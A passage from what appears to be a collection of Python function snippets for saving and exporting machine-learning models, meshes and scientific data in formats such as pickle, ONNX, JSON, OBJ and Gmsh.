self.export_kml(kmz=True)","def save(filename, points3, tris, metadata):\n logging.info(\"saving mesh: %s\"%filename)\n cells = {'triangle':tris}\n vtk_io.write(filename, points3, cells)\n with open(filename+'.readme','w') as fid:\n fid.write(metadata)","def save_model(self, filename):\r\n pass","def save_spi3d(self):\n for filename, colormap in colors.colormaps.items():\n if self.test:\n self.print_colormap(filename, colormap)\n lut = self.generate_spi3d_from_colormap(colormap)\n file_path = os.path.join(self.output, filename)\n file_io.save_file(lut, file_path)\n\n for filename, ev_colormap in colors.ev_colormaps.items():\n if self.test:\n self.print_colormap(filename, ev_colormap)\n lut = self.generate_spi3d_from_evs(ev_colormap)\n file_path = os.path.join(self.output, filename)\n file_io.save_file(lut, file_path)","def dump_model(self):","def WriteSrnModelToFile(filename, model):\n\n # Write the .hpp file\n WriteHeaderFileForSrnModel(filename, model)\n\n # Write the .cpp fil\n WriteSourceFileForSrnModel(filename, model)","def save_model(self, filename) -> None:\n #t.save(self, filename)\n traced=t.jit.script(self)\n t.jit.save(traced,filename)","def export_data(self, directory, filename, with_md5_hash=False):\n model_data = {\n 'vectors': self.estimator.support_vectors_.tolist(),\n 'coefficients': self.estimator.dual_coef_.tolist(),\n 'intercepts': self.estimator._intercept_.tolist(),\n 'weights': self.estimator.n_support_.tolist(),\n 'kernel': self.kernel,\n 'gamma': float(self.gamma),\n 'coef0': float(self.coef0),\n 'degree': float(self.degree),\n 'nClasses': int(self.n_classes),\n 'nRows': int(self.n_svs_rows)\n }\n encoder.FLOAT_REPR = lambda o: self.repr(o)\n json_data = dumps(model_data, sort_keys=True)\n if with_md5_hash:\n import hashlib\n json_hash = hashlib.md5(json_data).hexdigest()\n filename = filename.split('.json')[0] + '_' + json_hash + '.json'\n path = os.path.join(directory, filename)\n with open(path, 'w') as fp:\n fp.write(json_data)","def write_model_data(model, filename):\n data = lasagne.layers.get_all_param_values(model)\n filename = os.path.join('./', filename)\n filename = '%s.%s' % (filename, PARAM_EXTENSION)\n with open(filename, 'w') as f:\n pickle.dump(data, f)","def write(self, model):\n\n # Initialize json_dump\n json_dump = {\"model\": [], \"metadata\": {}}\n\n # Set timestamp in metadata\n json_dump[\"metadata\"][\"time\"] = str(datetime.now())\n\n # Set the size of the model in metadata\n json_dump[\"metadata\"][\"model_size\"] = len(model.models)\n\n for obj in model.models:\n _class = type(obj).__name__\n if _class in [\n Winding,\n PhaseWinding,\n Wire,\n PhaseCapacitor,\n Position,\n PhaseLoad,\n ]:\n continue\n json_dump[\"model\"].append({})\n json_dump[\"model\"][-1][\"class\"] = _class\n\n try:\n json_dump[\"model\"][-1][\"name\"] = {\"class\": \"str\", \"value\": obj.name}\n except:\n json_dump[\"model\"][-1][\"name\"] = {\"class\": \"str\", \"value\": None}\n pass\n\n for key, value in obj._trait_values.items():\n if key in [\"capacitance_matrix\", \"impedance_matrix\", \"reactances\"]:\n json_dump[\"model\"][-1][key] = {\"class\": \"list\", \"value\": []}\n for v in value:\n if isinstance(v, complex):\n json_dump[\"model\"][-1][key][\"value\"].append(\n {\"class\": \"complex\", \"value\": [v.real, v.imag]}\n )\n elif isinstance(v, list):\n json_dump[\"model\"][-1][key][\"value\"].append(\n {\"class\": \"list\", \"value\": []}\n )\n for vv in v:\n if isinstance(vv, complex):\n json_dump[\"model\"][-1][key][\"value\"][-1][\n \"value\"\n ].append(\n {\n \"class\": \"complex\",\n \"value\": [vv.real, vv.imag],\n }\n )\n else:\n json_dump[\"model\"][-1][key][\"value\"][-1][\n \"value\"\n ].append(\n {\n \"class\": str(type(vv)).split(\"'\")[1],\n \"value\": vv,\n }\n )\n else:\n json_dump[\"model\"][-1][key][\"value\"].append(\n {\"class\": str(type(v)).split(\"'\")[1], \"value\": v}\n )\n continue\n if isinstance(value, list):\n json_dump[\"model\"][-1][key] = {\"class\": \"list\", \"value\": []}\n for v in value:\n\n if isinstance(v, complex):\n json_dump[\"model\"][-1][key][\"value\"].append(\n {\"class\": \"complex\", \"value\": [v.real, v.imag]}\n )\n\n elif isinstance(v, Position):\n json_dump[\"model\"][-1][key][\"value\"].append(\n {\"class\": \"Position\"}\n )\n for kkk, vvv in v._trait_values.items():\n json_dump[\"model\"][-1][key][\"value\"][-1][kkk] = {\n \"class\": str(type(vvv)).split(\"'\")[1],\n \"value\": vvv,\n }\n\n elif isinstance(v, Unicode):\n json_dump[\"model\"][-1][key][\"value\"].append(\n {\"class\": \"Unicode\", \"value\": v.default_value}\n )\n\n elif isinstance(v, Wire):\n json_dump[\"model\"][-1][key][\"value\"].append(\n {\"class\": \"Wire\"}\n )\n for kkk, vvv in v._trait_values.items():\n json_dump[\"model\"][-1][key][\"value\"][-1][kkk] = {\n \"class\": str(type(vvv)).split(\"'\")[1],\n \"value\": vvv,\n }\n\n elif isinstance(v, PhaseCapacitor):\n json_dump[\"model\"][-1][key][\"value\"].append(\n {\"class\": \"PhaseCapacitor\"}\n )\n for kkk, vvv in v._trait_values.items():\n json_dump[\"model\"][-1][key][\"value\"][-1][kkk] = {\n \"class\": str(type(vvv)).split(\"'\")[1],\n \"value\": vvv,\n }\n\n elif isinstance(v, Winding):\n json_dump[\"model\"][-1][key][\"value\"].append(\n {\"class\": \"Winding\"}\n )\n for kkk, vvv in v._trait_values.items():\n if kkk != \"phase_windings\":\n json_dump[\"model\"][-1][key][\"value\"][-1][kkk] = {\n \"class\": str(type(vvv)).split(\"'\")[1],\n \"value\": vvv,\n }\n json_dump[\"model\"][-1][key][\"value\"][-1][\n \"phase_windings\"\n ] = {\"class\": \"list\", \"value\": []}\n for phw in v.phase_windings:\n json_dump[\"model\"][-1][key][\"value\"][-1][\n \"phase_windings\"\n ][\"value\"].append({\"class\": \"PhaseWinding\"})\n for kkkk, vvvv in phw._trait_values.items():\n json_dump[\"model\"][-1][key][\"value\"][-1][\n \"phase_windings\"\n ][\"value\"][-1][kkkk] = {\n \"class\": str(type(vvvv)).split(\"'\")[1],\n \"value\": vvvv,\n }\n\n elif isinstance(v, PhaseLoad):\n json_dump[\"model\"][-1][key][\"value\"].append(\n {\"class\": \"PhaseLoad\"}\n )\n for kkk, vvv in v._trait_values.items():\n json_dump[\"model\"][-1][key][\"value\"][-1][kkk] = {\n \"class\": str(type(vvv)).split(\"'\")[1],\n \"value\": vvv,\n }\n\n continue\n\n if isinstance(value, complex):\n json_dump[\"model\"][-1][key] = {\n \"class\": \"complex\",\n \"value\": [value.real, value.imag],\n }\n continue\n\n json_dump[\"model\"][-1][key] = {\n \"class\": str(type(value)).split(\"'\")[1],\n \"value\": value,\n }\n\n with open(os.path.join(self.output_path, self.filename), \"w\") as f:\n f.write(\n json_tricks.dumps(json_dump, allow_nan=True, sort_keys=True, indent=4)\n )","def write_model_data(model, filename):\n data = lasagne.layers.get_all_param_values(model)\n filename = os.path.join('./', filename)\n filename = '%s.%s' % (filename, 'params')\n with open(filename, 'w+') as f:\n pickle.dump(data, f)","def save(self, model_out_file):\n\t\tvariables_dict = {v.name: v for v in tf.global_variables()}\n\t\tvalues_dict = self.sess.run(variables_dict)\n\t\tnp.savez(open(model_out_file, 'wb'), **values_dict)","def save_model(self):\n joblib.dump(self.pipeline, 'model.joblib')\n print(colored('model.joblib saved locally', 'green'))","def save_model(self, filename='model.pt'):\n checkpoint = {\n 'input_size': self.linear_layers[0].in_features,\n 'output_size': self.linear_layers[-1].out_features,\n 'hidden_layers': [layer.out_features for layer in self.linear_layers[:-1]],\n 'state_dict': self.state_dict()}\n torch.save(checkpoint, filename)","def export_model(model, path=None, input_shape=(1, 3, 64, 64)):\n path = get_model_path() if path is None else path\n model = deepcopy(model).cpu().eval()\n if not isinstance(model, torch.jit.ScriptModule):\n assert input_shape is not None, \"`input_shape` must be provided since model is not a \" \\\n \"`ScriptModule`.\"\n traced_model = trace(model, torch.zeros(*input_shape))\n else:\n traced_model = model\n torch.jit.save(traced_model, path)\n return path","def save_model(self):\n\n print('Save model')\n self.feature_extractor.save_weights(\n self.path_save_model + self.name_model + '.h5')\n\n print('Mean and std')\n np.save(self.path_save_model + 'mean.npy', self.mean)\n np.save(self.path_save_model + 'std.npy', self.std)","def export_embeddings(self):\n save_path = self.config.path_embeddings / self.model.model_name\n save_path.mkdir(parents=True, exist_ok=True)\n \n idx2ent = self.model.config.knowledge_graph.read_cache_data('idx2entity')\n idx2rel = self.model.config.knowledge_graph.read_cache_data('idx2relation')\n\n\n series_ent = pd.Series(idx2ent)\n series_rel = pd.Series(idx2rel)\n series_ent.to_pickle(save_path / \"ent_labels.pickle\")\n series_rel.to_pickle(save_path / \"rel_labels.pickle\")\n\n with open(str(save_path / \"ent_labels.tsv\"), 'w') as l_export_file:\n for label in idx2ent.values():\n l_export_file.write(label + \"\\n\")\n\n with open(str(save_path / \"rel_labels.tsv\"), 'w') as l_export_file:\n for label in idx2rel.values():\n l_export_file.write(label + \"\\n\")\n\n for parameter in self.model.parameter_list:\n all_ids = list(range(0, int(parameter.shape[0])))\n stored_name = parameter.name.split(':')[0]\n # import pdb; pdb.set_trace()\n\n if len(parameter.shape) == 2:\n all_embs = parameter.numpy()\n with open(str(save_path / (\"%s.tsv\" % stored_name)), 'w') as v_export_file:\n for idx in all_ids:\n v_export_file.write(\"\\t\".join([str(x) for x in all_embs[idx]]) + \"\\n\")\n\n df = pd.DataFrame(all_embs)\n df.to_pickle(save_path / (\"%s.pickle\" % stored_name))","def save_model(self):\n joblib.dump(self.pipeline, \"model.joblib\")","def save(self, output_path):\r\n self.graph.cleanup().toposort()\r\n model = gs.export_onnx(self.graph)\r\n output_path = os.path.realpath(output_path)\r\n os.makedirs(os.path.dirname(output_path), exist_ok=True)\r\n onnx.save(model, output_path)\r\n log.info(\"Saved ONNX model to {}\".format(output_path))","def exportData(self):\n\t\tlays = rlayer.renderlayers()\n\t\tdata = {}\n\t\tfor l in lays:\n\t\t\tif l.name == 'defaultRenderLayer':\n\t\t\t\tcontinue\n\t\t\tdata[l.name] = {'objects':l.objects, # OBJECTS IN LAYER\n\t\t\t\t\t\t\t'values' :l.overridesWithValues, # OVERRIDED ATTRIBUTES ONLY CHANGED VALUES\n\t\t\t\t\t\t\t'conns' :l.overridesWithConnections[0], # OVERRIDED ATTRIBUTES CHANGED CONNECTIONS\n\t\t\t\t\t\t\t'shader' :l.overridedShader # OVERRIDE RENDERLAYER SHADER\n\t\t\t\t\t\t\t}\n\t\tpickle.dump( data, open( self.dataPath.path, \"wb\" ) )","def CreateSurface2DMeshfrom3DMesh(self):\n\n self.__do_memebers_exist__()\n\n p = self.InferPolynomialDegree()\n mm = Mesh()\n if self.element_type == \"hex\":\n mm.element_type = \"quad\"\n elif self.element_type == \"tet\":\n mm.element_type = \"tri\"\n else:\n raise ValueError(\"Cannot make a 2D mesh from the 3D mesh of type {}\".format(self.element_type))\n\n unique_faces, inv_faces = np.unique(self.faces,return_inverse=True)\n mm.points = self.points[unique_faces,:]\n mm.nnode = mm.points.shape[0]\n aranger = np.arange(mm.nnode)\n mm.elements = aranger[inv_faces].reshape(self.faces.shape)\n mm.nelem = mm.elements.shape[0]\n mm.GetBoundaryEdges()\n\n return mm","def WriteOBJ(self, filename, write_texture=False, write_normal=False):\n\n self.__do_essential_memebers_exist__()\n\n mesh = deepcopy(self)\n p = self.InferPolynomialDegree()\n\n if p > 1:\n mesh = self.GetLinearMesh(remap=True)\n\n edim = mesh.InferElementalDimension()\n\n if edim == 2:\n elements = np.copy(mesh.elements).astype(np.int64)\n elif edim == 3:\n elements = np.copy(mesh.faces).astype(np.int64)\n else:\n raise RuntimeError(\"Writing obj file for {} elements not supported\".format(mesh.element_type))\n\n points = mesh.points[np.unique(elements),:]\n if points.shape[1] == 2:\n points = np.hstack((points,np.zeros((points.shape[0],1))))\n\n points_repr = np.zeros((points.shape[0],points.shape[1]+1), dtype=object)\n points_repr[:,0] = \"v\"\n points_repr[:,1:] = points\n\n elements_repr = np.zeros((elements.shape[0],elements.shape[1]+1), dtype=object)\n elements_repr[:,0] = \"f\"\n elements_repr[:,1:] = elements + 1\n\n if write_texture:\n textures = mesh.textures[np.unique(elements),:]\n\n textures_repr = np.zeros((textures.shape[0],textures.shape[1]+1), dtype=object)\n textures_repr[:,0] = \"vt\"\n textures_repr[:,1:] = textures\n\n elements_repr = np.zeros((mesh.telements.shape[0],mesh.telements.shape[1]+1), dtype=object)\n elements_repr[:,0] = \"f\"\n # elements_repr[:,1:] = telements + 1\n counter = 0\n for i, j in zip(elements,mesh.telements):\n curr_row = [str(ii+1)+\"/\"+str(jj+1) for ii,jj in zip(i,j)]\n elements_repr[counter,1:] = curr_row\n counter += 1\n\n with open(filename, \"w\") as f:\n # f.write(\"# \"+ str(mesh.nnode))\n # f.write('\\n')\n # f.write(\"# \"+ str(mesh.nelem))\n # f.write('\\n')\n\n np.savetxt(f, points_repr, fmt=\"%s\")\n if write_texture:\n np.savetxt(f, textures_repr, fmt=\"%s\")\n\n if write_normal:\n if self.normals is None:\n enormals = self.Normals()\n els = self.GetNodeCommonality()[0]\n self.normals = np.zeros((self.nnode, 3))\n for counter, el in enumerate(els):\n self.normals[counter] = np.sum(enormals[el], axis=0) / enormals[el].shape[0]\n\n normals_repr = np.zeros((self.normals.shape[0], self.normals.shape[1]+1), dtype=object)\n normals_repr[:,0] = \"vn\"\n normals_repr[:,1:] = self.normals\n np.savetxt(f, normals_repr, fmt=\"%s\")\n\n f.write('\\n')\n np.savetxt(f, elements_repr, fmt=\"%s\")","def save_model(self, export_path, save_ae=True):\n net_dict = self.net.state_dict()\n ae_net_dict = self.ae_net.state_dict() if save_ae else None\n #ae_threshold = self.scores_threhold_rec if save_ae else None\n\n torch.save({'c': self.c,\n 'net_dict': net_dict,\n 'ae_net_dict': ae_net_dict}, export_path)","def to_mesh(self, outfilename, projection=None, z=None):\n if projection is None:\n projection = \"LONG/LAT\"\n\n x = self.xy[:, 0]\n y = self.xy[:, 1]\n if z is None:\n z = np.zeros(self.n)\n codes = np.zeros(self.n, dtype=int)\n codes[y == self.y1] = 5 # north\n codes[x == self.x1] = 4 # east\n codes[y == self.y0] = 3 # south\n codes[x == self.x0] = 2 # west\n codes[(y == self.y1) & (x == self.x0)] = 5 # corner->north\n\n builder = MeshBuilder()\n builder.SetNodes(x, y, z, codes)\n\n elem_table = self._to_element_table(index_base=1)\n builder.SetElements(asnetarray_v2(elem_table))\n\n builder.SetProjection(projection)\n quantity = eumQuantity.Create(EUMType.Bathymetry, EUMUnit.meter)\n builder.SetEumQuantity(quantity)\n newMesh = builder.CreateMesh()\n newMesh.Write(outfilename)","def export_model(model, model_type, export_dir, model_column_fn):\n wide_columns, deep_columns = model_column_fn()\n if model_type == 'wide':\n columns = wide_columns\n elif model_type == 'deep':\n columns = deep_columns\n else:\n columns = wide_columns + deep_columns\n feature_spec = tf.feature_column.make_parse_example_spec(columns)\n example_input_fn = (\n tf.estimator.export.build_parsing_serving_input_receiver_fn(feature_spec))\n model.export_savedmodel(export_dir, example_input_fn,\n strip_default_attrs=True)","def runMT3D(self):\n \n # write mt3dms input\n self.__mt.write_input()\n # run mt3dms\n self.__mt.run_model()","def _export_model_representations(self, config):\n\n self.logger.msg1(\"Preparing model representations\")\n modelsets = get_modelsets(self.dbpath, self.obo, config.partition_size)\n prefix = self.rootpath + \"-models-\"\n for i, refset in enumerate(modelsets):\n progress = str(i+1) + \"/\" + str(len(modelsets))\n self.logger.msg1(\"Saving model representations: \"+progress)\n refset.save(prefix + str(i+1), \"phenotype\", what=(\"data\",))","def export_onnx():\r\n model = DivideBy255()\r\n X = torch.randn(1, 3, 256, 256, dtype=torch.float)\r\n onnx_name = \"DivideBy255.onnx\"\r\n\r\n print(f\"Generating {onnx_name}\")\r\n torch.onnx.export(\r\n model,\r\n (X),\r\n onnx_name,\r\n opset_version=10,\r\n do_constant_folding=True,\r\n # verbose=True,\r\n # input_names=['Identity_1', 'Identity'],\r\n output_names=['input_1']\r\n )","def save_model(self, model_filename):\n self.model.save_weights(model_filename)","def save_model(self, model):\n # serialize model to JSON\n model_json = model.to_json()\n os.makedirs(os.path.dirname(self.model_json_path), exist_ok=True)\n with open(self.model_json_path, \"w\") as json_file:\n json_file.write(model_json)\n\n # serialize weights to HDF5\n model.save_weights(self.model_weights_path)\n print(\"Saved model to disk\")","def save_model(model, filename=\"model.json\"):\n model_json = model.to_json()\n with open(filename, \"w\") as json_file:\n json_file.write(model_json)\n model.save_weights(\"model.h5\")\n print(\"Saved model to disk\")","def matlab_export(self, filename):\n\n import scipy.io as sio\n matdata = {}\n for nn in range(self.num_networks):\n for ll in range(len(self.networks[nn].layers)):\n wstring = 'ws' + str(nn) + str(ll)\n matdata[wstring] = self.networks[nn].layers[ll].weights\n bstring = 'bs' + str(nn) + str(ll)\n matdata[bstring] = self.networks[nn].layers[ll].biases\n\n sio.savemat(filename, matdata)","def save_model(self, dir_path):\n np.savez(\n dir_path + os.path.sep + \"weights.npz\", W1=self.W1, W2=self.W2, W3=self.W3\n )\n np.savez(\n dir_path + os.path.sep + \"biases.npz\", b1=self.b1, b2=self.b2, b3=self.b3\n )","def save_model(self):\n saved_path = self.config.path_tmp / self.model.model_name\n saved_path.mkdir(parents=True, exist_ok=True)\n self.model.save_weights(str(saved_path / 'model.vec'))","def WriteCcmModelToFile(filename, model):\n #Write the .hpp file\n WriteHeaderFileForCcmModel(filename, model)\n\n #Write the .cpp fil\n WriteSourceFileForCcmModel(filename, model)","def export_compact_z_to_m(model_path):\n pred_config = PredictConfig(\n session_init=SmartInit(model_path),\n model=Model(),\n input_names=['gen/senc/add', 'gen/senc_m/add', 'bbx'],\n output_names=['gen/genmask/convlast/output'])\n ModelExporter(pred_config).export_compact(os.path.join(os.path.dirname(model_path), 'frozen_model_z_to_m.pb'))\n # ModelExporter(pred_config).export_compact(model_path)","def makeModel(self):\n\n # Get the script\n modelScript = os.path.join(self.datapath, 'make3FGLxml.py')\n if not os.path.isfile(modelScript):\n # download it\n print(\"\\t=== Downloading make3FGLxml.py ===\")\n os.system('wget https://fermi.gsfc.nasa.gov/ssc/data/analysis/user/make3FGLxml.py -O {}'.format(modelScript))\n\n # Create the model using Tyrel's script\n galModel = os.path.join(self.diffpath, 'gll_iem_v06.fits')\n isoModel = os.path.join(self.diffpath, 'iso_'+self.irf+'_v06.txt')\n if (not os.path.isfile(galModel)) or (not os.path.isfile(isoModel)):\n print(\"\\t=== Unable to find the diffuse models, check the variable '$FERMI_DIR' ===\")\n return\n if not os.path.isdir(self.extpath):\n print(\"\\t=== Unable to find models of extended sources, check the variable '$LATEXTDIR' ===\")\n return\n if not os.path.isfile(self.fermicat):\n # download it\n print(\"\\t=== Downloading 3FGL catalog ===\")\n os.system('wget https://fermi.gsfc.nasa.gov/ssc/data/access/lat/4yr_catalog/gll_psc_v16.fit -O {}'.format(self.fermicat))\n\n os.popen(\"python {} {} {} -o {} -G {} -g 'gll_iem_v06'\\\n -I {} -i 'iso_source_v06' -e {} -r 5 -R 10 -ER 10\\\n -s 9 -m False -GIF False\".format(modelScript, self.fermicat,\n self.ft1, self.model, galModel, isoModel, self.extpath))\n\n # Add the target to the model\n tmpName = self.model + '.tmp'\n rfil = open(self.model, 'r')\n wfil = open(tmpName, 'w')\n # Copy the XML to the temporary model\n wfil.writelines([l for l in rfil.readlines() if not l=='</source_library>']) # copy everything but the last line\n wfil.write(' <source ROI_Center_Distance=\"0.00\" name=\"TARGET\" type=\"PointSource\">\\n')\n wfil.write(' <spectrum type=\"PowerLaw2\">\\n')\n wfil.write(' <parameter free=\"1\" max=\"1000\" min=\"1e-05\" name=\"Integral\" scale=\"1e-08\" value=\"0.3591824258\"/>\\n')\n wfil.write(' <parameter free=\"1\" max=\"1\" min=\"-5\" name=\"Index\" scale=\"1\" value=\"-2.7\"/>\\n')\n wfil.write(' <parameter free=\"0\" max=\"1000000\" min=\"20\" name=\"LowerLimit\" scale=\"1\" value=\"100\"/>\\n')\n wfil.write('<parameter free=\"0\" max=\"1000000\" min=\"20\" name=\"UpperLimit\" scale=\"1\" value=\"100000\"/>\\n')\n wfil.write(' </spectrum>\\n')\n wfil.write(' <spatialModel type=\"SkyDirFunction\">\\n')\n wfil.write(' <parameter free=\"0\" max=\"360.0\" min=\"-360.0\" name=\"RA\" scale=\"1.0\" value=\"'+str(self.ra)+'\"/>\\n')\n wfil.write(' <parameter free=\"0\" max=\"360.0\" min=\"-360.0\" name=\"DEC\" scale=\"1.0\" value=\"'+str(self.dec)+'\"/>\\n')\n wfil.write(' </spatialModel>\\n')\n wfil.write(' </source>\\n')\n wfil.write('</source_library>\\n')\n rfil.close()\n wfil.close()\n\n os.remove(self.model)\n os.rename(tmpName, self.model)\n \n print(\"\\t=== Source model {} added ===\".format(self.model))\n return","def save(self, path):\n np.savez_compressed(path, **self.model_dict)","def write_model_to_tensorboard(self, *args, **kwargs):\n pass","def test_export(filename, folder, space_type):\n grid = bempp.api.shapes.cube(h=0.5)\n space = bempp.api.function_space(grid, *space_type)\n function = bempp.api.GridFunction(\n space, coefficients=np.random.rand(space.global_dof_count)\n )\n bempp.api.export(os.path.join(folder, filename), grid_function=function)","def export(self, filename):\n raise IllegalOperationError(\"cannot export a Multiplicative model.\")","def Save(self, filename: str):\n data_object = {\n \"input_layer_count\" : self.input_layer_size,\n \"hidden_layer_count\" : self.hidden_layer_size,\n \"output_layer_count\" : self.output_layer_size,\n\n \"hidden_layer_biases\" : self.hidden_layer_biases.tolist(),\n \"output_layer_biases\" : self.output_layer_biases.tolist(),\n\n \"input_to_hidden_weights\" : self.input_to_hidden_weights.tolist(),\n \"hidden_to_output_weights\" : self.hidden_to_output_weights.tolist()\n }\n\n with open(filename, \"w\") as f:\n json.dump(data_object, f)","def output(self, filename):\n with open(filename, 'w') as f:\n op = {}\n layer_res = []\n alphas_res = []\n for layer in self._layers:\n weights = []\n alphas = []\n for neuron in layer._neurons:\n weights.append(neuron._weights)\n alphas.append(neuron._alpha)\n layer_res.append(weights)\n alphas_res.append(alphas)\n op['layers'] = layer_res\n op['alphas'] = alphas_res\n json.dump(op, f, indent='\\t')","def savemodel(self, fname):\n if not fname.endswith('.gz'):\n fname += '.gz'\n D = {'clf':self.clf, 'vocab':self.vocab,\n 'idxlabelmap':self.labelmap}\n with gzip.open(fname, 'w') as fout:\n dump(D, fout)\n print 'Save model into file: {}'.format(fname)","def export(self, savepath):\n logger.debug(f\"Exporting scene to {savepath}\")\n _backend = self.backend\n\n if not self.is_rendered:\n self.render(interactive=False)\n\n path = Path(savepath)\n if path.suffix != \".html\":\n raise ValueError(\"Savepath should point to a .html file\")\n\n # prepare settings\n vsettings.notebookBackend = \"k3d\"\n\n # Create new plotter and save to file\n plt = Plotter()\n plt.add(self.clean_renderables, render=False)\n plt = plt.show(interactive=False)\n plt.camera[-2] = -1\n\n with open(path, \"w\") as fp:\n fp.write(plt.get_snapshot())\n\n print(\n f\"The brainrender scene has been exported for web. The results are saved at {path}\"\n )\n\n # Reset settings\n vsettings.notebookBackend = None\n self.backend = _backend\n\n return str(path)","def test_export_pytorch_model(self):\n pytorch_model = PyTorchLinear()\n dummy_input = torch.empty(10, 10)\n\n with io.BytesIO() as f:\n onnx_converter._export_pytorch_model(f, pytorch_model, dummy_input)","def save_model(self):\n\n self.check_model()\n\n with open(self.filename, 'wb') as file:\n pickle.dump({'model': self.model, 'vec': self.vectorizer, 'vec_data': self.vectorized_data,\n 'df': self.df_topic_keywords}, file)","def save_model(self):\n\n # =============================================================\n # Default : pickle the trained model. Change this (and the load\n # function, below) only if the library you used does not support\n # pickling.\n # self.Model_made.save(\"Model_made.h5\")\n # self.Model_claim.save(\"Model_claim.h5\")\n # Model_made = self.Model_made\n # Model_claim = self.Model_claim\n # self.Model_made = None\n # self.Model_claim = None\n with open('pricing_model.p', 'wb') as target:\n pickle.dump(self, target)\n\n # self.Model_made = Model_made\n # self.Model_claim = Model_claim\n\n # zipObj = ZipFile(\"model.zip\",\"w\")\n # zipObj.write(\"Model_made.h5\")\n # zipObj.write(\"Model_claim.h5\")\n # zipObj.write(\"pricing_model.p\")\n # zipObj.close()","def export(**kwargs):\n\n import os\n\n interface = None # Holds the actual FileInterface for the specified data format\n vertex_index_to_file_key_map = None\n element_index_to_file_key_map = None\n\n if 'file_name' in kwargs:\n fname = kwargs['file_name']\n else:\n raise ValueError(\"file_name must be specified.\")\n \n extension = os.path.splitext(fname)[1].lower()\n\n if extension=='.msh':\n from bempp.api.file_interfaces import gmsh\n interface = gmsh.GmshInterface()\n \n if int('grid' in kwargs) + int('grid_function' in kwargs) != 1:\n raise ValueError(\"Exactly one of 'grid' or 'grid_function' must be specified\")\n\n if 'grid' in kwargs:\n grid = kwargs['grid']\n elif 'grid_function' in kwargs:\n grid = kwargs['grid_function'].grid\n\n number_of_vertices = grid.leaf_view.entity_count(2)\n number_of_elements = grid.leaf_view.entity_count(0)\n\n offset = interface.index_offset\n\n if 'vertex_index_to_file_key_map' in kwargs:\n vertex_index_to_file_key_map = kwargs['vertex_index_to_file_key_map']\n else:\n vertex_index_to_file_key_map = range(offset,number_of_vertices+offset)\n if 'element_index_to_file_key_map' in kwargs:\n element_index_to_file_key_map = kwargs['element_index_to_file_key_map']\n else:\n element_index_to_file_key_map = range(offset,number_of_elements+offset)\n\n # Create the vertex and element structure\n\n from collections import OrderedDict\n\n vertex_iterator = grid.leaf_view.entity_iterator(2)\n element_iterator = grid.leaf_view.entity_iterator(0)\n index_set = grid.leaf_view.index_set()\n\n vertices = OrderedDict([(vertex_index_to_file_key_map[index_set.entity_index(vertex)],vertex.geometry.corners[:,0])\n for vertex in vertex_iterator])\n elements = OrderedDict([(element_index_to_file_key_map[index_set.entity_index(element)],\n {'data':[vertex_index_to_file_key_map[index_set.sub_entity_index(element,n,2)] for n in range(3)],\n 'domain_index':element.domain}) for element in element_iterator])\n\n interface.add_grid_data(vertices,elements)\n\n # Evaluate data\n\n if 'grid_function' in kwargs:\n fun = kwargs['grid_function']\n data_type = kwargs.get('data_type',interface.default_data_type)\n\n if 'transformation' in kwargs:\n transformation = kwargs['transformation']\n else:\n transformation = lambda x: x\n\n index_set = grid.leaf_view.index_set()\n\n if data_type == 'element_node':\n local_coordinates = _np.array([[0,1,0],[0,0,1]])\n data = OrderedDict.fromkeys(element_index_to_file_key_map)\n\n for element in grid.leaf_view.entity_iterator(0):\n data[element_index_to_file_key_map[index_set.entity_index(element)]] = transformation(\n fun.evaluate(element,local_coordinates))\n interface.add_element_node_data(data,kwargs.get('label','element_node_data'))\n elif data_type == 'node':\n local_coordinates = _np.array([[0,1,0],[0,0,1]])\n data = OrderedDict.fromkeys(vertex_index_to_file_key_map)\n for element in grid.leaf_view.entity_iterator(0):\n local_data = transformation(fun.evaluate(element,local_coordinates))\n for i in range(3):\n data[vertex_index_to_file_key_map[index_set.sub_entity_index(element,i,2)]] = local_data[:,i]\n interface.add_node_data(data,kwargs.get('label','node_data'))\n elif data_type == 'element':\n local_coordinates = _np.array([[1./3],[1./3]])\n data = OrderedDict.fromkeys(element_index_to_file_key_map)\n\n for element in grid.leaf_view.entity_iterator(0):\n data[element_index_to_file_key_map[index_set.entity_index(element)]] = transformation(\n fun.evaluate(element,local_coordinates).ravel())\n interface.add_element_data(data,kwargs.get('label','element_data'))\n else:\n raise ValueError(\"data_type must be one of 'node', 'element', or 'element_node'\")\n\n interface.write(kwargs['file_name'])","def export(model, args, filename=None, export_params=True,\n graph_name='Graph', save_text=False, opset_version=None):\n\n _check_available()\n\n chainer.config.train = False\n chainer.config.enable_backprop = True\n\n if opset_version is None:\n opset_version = int(onnx.defs.onnx_opset_version())\n elif opset_version < MINIMUM_OPSET_VERSION:\n warnings.warn(\n 'ONNX-Chainer has been tested only with opset_version >= {m}. '\n 'This is because ONNXRuntime supports only opset_version >= {m}. '\n 'The ONNX file exported with your requested opset_version ({o}) '\n 'may cause some problems because the converters used for the '\n 'opset_version have not been tested.'.format(\n m=MINIMUM_OPSET_VERSION,\n o=opset_version)\n )\n\n # Forward computation\n network_inputs = []\n if isinstance(args, tuple):\n args = list(args)\n if isinstance(args, list):\n for i, arg in enumerate(args):\n if isinstance(arg, chainer.get_array_types()):\n args[i] = chainer.Variable(arg)\n network_inputs.append(args[i])\n flat_args = args\n outputs = model(*args)\n elif isinstance(args, dict):\n for key, arg in args.items():\n if isinstance(arg, chainer.get_array_types()):\n args[key] = chainer.Variable(arg)\n network_inputs.append(args[key])\n flat_args = list(args.values())\n outputs = model(**args)\n elif isinstance(args, chainer.get_array_types()):\n args = chainer.Variable(args)\n network_inputs.append(args)\n flat_args = [args]\n outputs = model(args)\n elif isinstance(args, chainer.Variable):\n network_inputs.append(args)\n flat_args = [args]\n outputs = model(args)\n else:\n raise ValueError(\n 'The \\'args\\' argument should be a list, tuple, dict, '\n 'numpy array, or Chainer Variable. But a {} object was '\n 'given.'.format(type(args)))\n\n initializers = []\n input_tensors = []\n param_names = set()\n for param in model.params():\n param_names.add(str(id(param)))\n tensor = convert_parameter(param)\n initializers.append(tensor)\n input_tensors.append(helper.make_tensor_value_info(\n str(id(param)), tensor.data_type, tensor.dims))\n\n network_input_names = set()\n for i in network_inputs:\n network_input_names.add(str(id(i)))\n input_tensors.append(helper.make_tensor_value_info(\n str(id(i)), NP_TYPE_TO_TENSOR_TYPE[i.dtype], i.shape))\n\n with ONNXExport(opset_version) as o:\n if isinstance(outputs, (list, tuple)):\n flat_outputs = outputs\n elif isinstance(outputs, dict):\n flat_outputs = list(outputs.values())\n elif isinstance(outputs, chainer.Variable):\n flat_outputs = [outputs]\n else:\n raise RuntimeError(\n 'Unexpected output type from the model: {}'.format(\n type(outputs)))\n chainer.grad(flat_outputs, list(model.params()) + flat_args)\n\n implicit_input_names = set(o.inputs.keys()) - param_names 